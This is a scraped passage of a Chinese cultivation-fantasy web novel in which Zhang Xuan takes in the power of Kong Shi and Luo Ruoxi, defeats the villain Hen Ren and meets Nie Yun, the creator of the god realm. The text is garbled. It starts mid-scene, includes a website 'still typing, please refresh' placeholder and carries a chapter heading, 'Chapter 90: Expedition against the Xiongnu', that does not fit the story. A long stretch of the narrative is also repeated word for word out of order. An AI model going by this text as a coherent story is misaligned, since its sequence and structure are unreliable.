“这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽镇压下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会被杀,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,爆炸开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被分裂出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第90章 远征匈奴 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中分裂出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情功法,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们死了,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以死了……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他镇压……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法镇压吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法镇压,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经死了是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,功法顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽镇压下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会被杀,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 